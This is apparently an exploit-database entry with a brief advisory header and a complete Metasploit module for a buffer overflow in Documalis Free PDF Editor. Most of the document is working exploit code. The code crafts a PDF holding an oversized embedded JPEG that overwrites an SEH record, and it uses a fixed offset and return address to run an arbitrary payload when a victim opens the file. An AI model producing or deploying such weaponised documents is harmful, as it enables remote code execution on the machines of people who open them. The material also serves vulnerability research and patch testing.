Documalis Free PDF Editor Buffer Overflow

2020.06.16
Credit: metacom
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::PDF include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Documalis Free PDF Editor', 'Description' => %q{Documalis Free PDF Editor is prone to a security vulnerability when open PDF files.When the application is used to open a specially crafted PDF file, a buffer overflow occurs allowing arbitrary code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'metacom', # Vulnerability discovery and PoC '<metacom27[at]gmail.com>', # Metasploit module ], 'References' => [ ['EDB', ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', # none/process/thread/seh }, 'Platform' => 'win', 'Payload' => { 'Space' => 2000, 'DisableNops' => true }, 'Targets' => [ ['<Documalis Free PDF Editor v.5.7.2.26 / Win 7, Win 10>', { 'Ret' => 0x0040160D, # pop eax # pop ebx # ret - PDFEditor.exe 'Offset' => 433 } ] ], 'Privileged' => false, 'DisclosureDate' => 'May 22 2020', 'DefaultTarget' => 0 )) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']), ]) end def exploit file_create(make_pdf) end def jpeg buffer = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\x80\x00\x00" buffer << "\x00\x02\xFF\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02" buffer << "\x02\x03\x02\x02\x02\x03\x04\x03\x03\x03\x03\x04\x05\x04\x04\x04" buffer << "\x04\x04\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x07\x08\x08\x08" buffer << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C" buffer << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01\x03\x02\x02\x03\x03\x03\x07\x05" buffer << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C" buffer << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E" buffer << "\x0E\x0E\x0C\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11" buffer << "\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xC0\x00\x14\x08\x00\x32\x00" buffer << "\xE6\x04\x01\x11\x00\x02\x11\x01\x03\x11\x01\x04\x11\x00\xFF\xC4" buffer << "\x01\xA2\x00\x00\x00\x07\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00" buffer << "\x00\x00\x00\x04\x05\x03\x02\x06\x01\x00\x07\x08\x09\x0A\x0B\x01" buffer << "\x54\x02\x02\x03\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00" buffer << "\x01\x00\x02\x03\x04\x05\x06\x07" buffer << rand_text(target['Offset']) # junk buffer << generate_seh_record(target.ret) buffer << payload.encoded buffer << rand_text(2388 - payload.encoded.length) buffer end def make_pdf @pdf << header add_object(1, "<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>") add_object(2, "<</Type/Outlines>>") add_object(3, "<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>") add_object(4, "[/PDF/Text/ImageC]") add_object(5, "<</Type/Page/Parent 3 0 R/Contents 6 0 R>>") stream_1 = "stream" << eol stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol stream_1 << "endstream" << eol add_object(6, "<</Length 91>>#{stream_1}") stream = "<<" << eol stream << "/Width 230" << eol stream << "/BitsPerComponent 8" << eol stream << "/Name /X" << eol stream << "/Height 50" << eol stream << "/Intent /RelativeColorimetric" << eol stream << "/Subtype /Image" << eol stream << "/Filter /DCTDecode" << eol stream << "/Length #{jpeg.length}" << eol stream << "/ColorSpace /DeviceCMYK" << eol stream << "/Type /XObject" << eol stream << ">>" stream << "stream" << eol stream << jpeg << eol stream << "endstream" << eol add_object(7, stream) finish_pdf end end


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